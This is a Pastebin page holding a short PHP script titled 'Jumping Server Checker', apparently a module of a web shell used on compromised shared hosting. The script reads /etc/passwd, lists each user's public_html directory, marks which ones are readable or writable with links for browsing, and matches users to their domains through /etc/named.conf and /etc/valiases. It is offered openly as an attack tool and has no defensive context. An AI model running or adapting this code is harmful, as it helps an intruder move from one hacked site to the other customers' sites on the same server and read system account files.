Advertisement
willysec_id

Jumping Server Checker

Sep 6th, 2023
792
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.95 KB | Cybersecurity | 0 0
  1. <?php
  2. $i = 0;
  3.    echo "<body style='background-color:grey;'><pre><div class='margin: 5px auto;'>";
  4.    $etc = fopen("/etc/passwd", "r") or die("<font color=#666666>Can't read /etc/passwd</font>");
  5.    while($passwd = fgets($etc)) {
  6. if($passwd == '' || !$etc) {
  7.    echo "<font color=#666666>Can't read /etc/passwd</font>";
  8. } else {
  9.    preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  10.    foreach($user_jumping[1] as $user_jefri_jump) {
  11.        $user_jumping_dir = "/home/$user_jefri_jump/public_html";
  12.        if(is_readable($user_jumping_dir)) {
  13.            $i++;
  14.            $jrw = "[<font color=#52CF38>R</font>] <a href='?dir=$user_jumping_dir'><font color=#D0D5D5>$user_jumping_dir</font></a>";
  15.            if(is_writable($user_jumping_dir)) {
  16.                $jrw = "[<font color=#52CF38>RW</font>] <a href='?dir=$user_jumping_dir'><font color=#D0D5D5>$user_jumping_dir</font></a>";
  17.            }
  18.            echo $jrw;
  19.            if(function_exists('posix_getpwuid')) {
  20.                $domain_jump = file_get_contents("/etc/named.conf");  
  21.                if($domain_jump == '') {
  22.                    echo " => ( <font color=#666666>gagal mengambil nama domain nya</font> )<br>";
  23.                } else {
  24.                    preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  25.                    foreach($domains_jump[1] as $dj) {
  26.                        $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  27.                        $user_jumping_url = $user_jumping_url['name'];
  28.                        if($user_jumping_url == $user_jefri_jump) {
  29.                            echo " => ( <u>$dj</u> )<br>";
  30.                            break;
  31.                        }
  32.                    }
  33.                }
  34.            } else {
  35.                echo "<br>";
  36.            }
  37.        }
  38.    }
  39. }
  40.    }
  41.    if($i == 0) {
  42.    } else {
  43. echo "<br>Total ada ".$i." Kamar ada ".gethostbyname($_SERVER['HTTP_HOST'])."";
  44.  
  45.    echo "</div></pre>";
  46.         }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement